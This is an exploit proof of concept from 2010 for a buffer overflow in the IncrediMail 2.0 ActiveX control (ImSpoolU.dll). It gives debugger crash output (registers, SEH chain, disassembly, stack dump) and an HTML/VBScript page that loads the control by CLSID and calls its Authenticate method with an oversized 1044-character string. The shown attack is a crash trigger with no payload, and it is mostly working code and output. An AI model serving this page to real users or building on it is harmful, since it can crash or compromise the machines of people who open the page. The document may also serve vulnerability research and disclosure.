IncrediMail 2.0 – ActiveX (Authenticated) Buffer Overflow (PoC)
IncrediMail 2.0 activeX (Authenticate) bof poc # by d3b4g # Tested: incerdiMail 2.0 # Vendor url:http://www.incredimail.com/english/splash.aspx # Tested on windows XP SP3 # 1-03-2010 Debugging info -------------- Exception Code: ACCESS_VIOLATION Disasm: 678914AE MOV EDX,[ECX] (ImSpoolU.dll) Seh Chain: -------------------------------------------------- 1 678AE129 ImSpoolU.dll 2 678AE3C0 ImSpoolU.dll 3 678AE6D0 ImSpoolU.dll 4 1682950 VBSCRIPT.dll 5 7C839AD8 KERNEL32.dll Called From Returns To -------------------------------------------------- ImSpoolU.678914AE 8458BEC Registers: -------------------------------------------------- EIP 678914AE -> Asc: AUTH EAX 018BDA90 -> Asc: AUTH EBX 01C00048 -> 678B83EC ECX 00000000 EDX 0018A812 -> F00DBAAD EDI 00000006 ESI 018BDA90 -> Asc: AUTH EBP 77124C1B -> 8B55FF8B ESP 0013ED24 -> BFA7C790 Block Disassembly: -------------------------------------------------- 6789149C CALL 678A14A0 678914A1 MOV [ESI+4],EAX 678914A4 MOV ESI,[ESI+4] 678914A7 JMP SHORT 678914AB 678914A9 XOR ESI,ESI 678914AB MOV ECX,[EBX+18] 678914AE MOV EDX,[ECX] <--- CRASH 678914B0 MOV EAX,[EDX+18] 678914B3 PUSH 0 678914B5 PUSH EDI 678914B6 PUSH ESI 678914B7 CALL EAX 678914B9 MOV ESI,EAX 678914BB CMP ESI,-1 678914BE JNZ SHORT 678914D2 ArgDump: -------------------------------------------------- EBP+8 0574C085 EBP+12 D1FC408B EBP+16 04C25DE8 EBP+20 90909000 EBP+24 FF8B9090 EBP+28 53EC8B55 Stack Dump: -------------------------------------------------- 13ED24 90 C7 A7 BF B8 DA 8B 01 48 00 C0 01 48 00 C0 01 [........H...H...] 13ED34 00 00 00 00 C9 0B 04 80 00 00 00 00 80 ED 13 00 [................] 13ED44 29 E1 8A 67 FF FF FF FF 3A 28 89 67 48 00 C0 01 [...g.......gH...] 13ED54 78 ED 13 00 A4 A6 8B 67 C8 0B 04 80 01 00 00 00 [.......g........] 13ED64 D0 C7 A7 BF 70 50 C0 01 FF FF FF FF 48 00 C0 01 [....pP......H...] Olly snip --------- http://img41.imageshack.us/img41/5595/incrediblellll.jpg <HTML> <object classid='clsid:032038A5-B655-11D3-BB7D-0050DA276194' id='target' /> <script language='vbscript'> 'Wscript.echo typename(target) 'for debugging/custom prolog targetFile = "C:\Program Files\IncrediMail\Bin\ImSpoolU.dll" prototype = "Sub Authenticate ( ByVal bsServer As String , ByVal bsUser As String , ByVal bsPassword As String , ByVal fSecure As Long )" memberName = "Authenticate" progid = "INCREDISPOOLERLib.Pop" argCount = 4 arg1=String(1044, "A") arg2="defaultV" arg3="defaultV" arg4=1 target.Authenticate arg1 ,arg2 ,arg3 ,arg4 </script> </html> |